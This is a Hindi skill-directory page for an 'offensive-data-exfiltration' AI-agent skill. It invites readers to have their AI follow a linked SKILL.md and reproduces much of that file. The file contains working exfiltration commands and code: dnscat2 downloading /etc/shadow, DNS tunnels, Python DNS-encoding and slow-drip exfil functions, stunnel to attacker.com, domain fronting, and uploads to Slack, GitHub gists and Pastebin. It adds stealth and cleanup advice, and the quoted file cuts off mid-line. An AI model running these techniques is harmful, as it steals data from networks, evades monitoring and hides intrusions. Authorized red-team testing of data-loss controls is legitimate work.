मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी10k · #11964

offensive-data-exfiltration

यह क्या करती है

यह स्किल data exfiltration नियंत्रणों के परीक्षण की एक कार्यप्रणाली है, जिसमें DNS, HTTPS, ICMP, cloud storage और email चैनल शामिल हैं। यह उन सुरक्षा टीमों के लिए है जो अनुमति के साथ जाँचती हैं कि उनका data loss prevention गुप्त स्थानांतरण पकड़ेगा या नहीं।

कब इस्तेमाल करें

  • ✓जब आप अधिकृत परीक्षण में जाँच रहे हों कि बाहर जाने वाले DNS या ICMP traffic से नेटवर्क के बाहर डेटा जा सकता है या नहीं।
  • ✓जब आप जाँचना चाहते हों कि cloud storage या email से डेटा बाहर भेजा जा सकता है या नहीं।
  • ✓जब आपको यह सत्यापित करना हो कि निकाला गया डेटा आपकी monitoring में पकड़ा जाएगा।

Skill का लिंक

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“हमें अपने data loss नियंत्रण के परीक्षण की अनुमति है। जाँचिए कि क्या DNS traffic हमारे नेटवर्क से डेटा बाहर ले जा सकता है।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

स्किल परीक्षण डेटा की सूची बनाती है, उसे तैयार करती है, संकुचित और encrypt करती है, फिर नेटवर्क द्वारा अनुमत चैनल चुनती है। फिर वह डेटा सत्यापित करती है और बाद में तैयार की गई फ़ाइलें साफ़ करती है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Data Exfiltration -- Offensive Methodology

Quick Workflow

  1. Inventory target data. Map files, databases, credentials. Assess volume and classification.
  2. Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
  3. Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
  4. Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
  5. Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
  6. Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
  7. Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
  8. Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.

DNS Exfiltration

MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS

dnscat2

# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret

# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret

# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow
# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret

iodine Tunneling

# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com

# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/

dns2tcp

# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf

# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 attacker@127.0.0.1

TXT/CNAME Record Encoding

import base64, dns.resolver

def dns_exfil(data, domain, chunk_size=60):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
        try: dns.resolver.resolve(query, "TXT")
        except Exception: pass  # data is in the query itself

Slow-Drip DNS

import random, time, base64, dns.resolver

def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), 60)):
        query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
        try: dns.resolver.resolve(query, "A")
        except Exception: pass
        time.sleep(random.uniform(min_delay, max_delay))

PacketWhisper exfiltrates via DNS without owning a server -- encodes data as queries captured from a PCAP: python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1.


HTTPS Tunneling

MITRE: T1041 -- Exfiltration Over C2 Channel; T1071.001 -- Web Protocols

stunnel

Server wraps a port 8080 listener in TLS on 443. Client: stunnel -c -d 127.0.0.1:9090 -r attacker.com:443, then cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090.

Domain Fronting via CDN

# Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server
curl -s -H "Host: your-collection.azureedge.net" \
    --data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload

# chisel full tunnel behind CDN
chisel server --port 443 --reverse --auth user:pass  # server side
chisel client --header "Host: your-collection.azureedge.net" \
    https://legitimate-cdn-domain.com R:socks         # client side

Legitimate Service Abuse

# Slack webhook
curl -X POST -H 'Content-type: application/json' \
    --data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \
    https://hooks.slack.com/services/T00/B00/XXX
# GitHub Gist -- private gist per chunk
import requests, base64
def gist_exfil(data, token):
    requests.post("https://api.github.com/gists",
        json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}},
        headers={"Authorization": f"token {token}"})
# Pastebin API from Windows
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
    api_dev_key="K
अक्सर पूछे जाने वाले सवाल

क्या यह असली ग्राहक डेटा भेजती है?

स्किल जहाँ संभव हो परीक्षण डेटा इस्तेमाल करने को कहती है और सादा पाठ (plaintext) न भेजने को कहती है, और यह सिर्फ़ अधिकृत परीक्षणों के लिए लिखी गई है।

यह कौन से चैनल कवर करती है?

यह DNS, HTTPS, ICMP, cloud storage, email और steganography कवर करती है।

चैनल क्यों जाँचें?

लक्ष्य यह देखना है कि defenders वास्तव में किन रास्तों को पकड़ और रोक सकते हैं।

जानकारी

लेखक का मूल विवरण

Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper,

repo: SnailSploit/Claude-Red

लोकप्रियता

GitHub स्टार
10k
रैंकिंग में स्थान
#11964
लाइसेंस
MIT
अपडेट की गई
12/10/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

offensive-active-directory

10k

आपके एजेंट को अधिकृत Active Directory सुरक्षा परीक्षण की योजना बनाने में मदद करती है, नेटवर्क मैपिंग से लेकर Domain Admin तक के हमला रास्ते खोजने तक।

कोडिंगसिक्योरिटी

offensive-netexec

10k

आपके एजेंट को अधिकृत नेटवर्क परीक्षण के लिए NetExec (nxc) टूल इस्तेमाल करने में मदद करती है, जिसमें प्रोटोकॉल, प्रमाणीकरण और credential जाँच शामिल हैं।

कोडिंगसिक्योरिटी

offensive-api-abuse

10k

आपके एजेंट को अधिकृत API सुरक्षा परीक्षण की योजना बनाने में मदद करती है, जो business logic के दुरुपयोग, GraphQL जोखिम और race conditions खोजते हैं।

कोडिंगसिक्योरिटी

offensive-api-security

10k

आपके एजेंट को OWASP API Top 10 के आधार पर REST, gRPC और WebSocket API पर अधिकृत सुरक्षा परीक्षण चलाने में मदद करती है।

कोडिंगसिक्योरिटी

मिलती-जुलती skills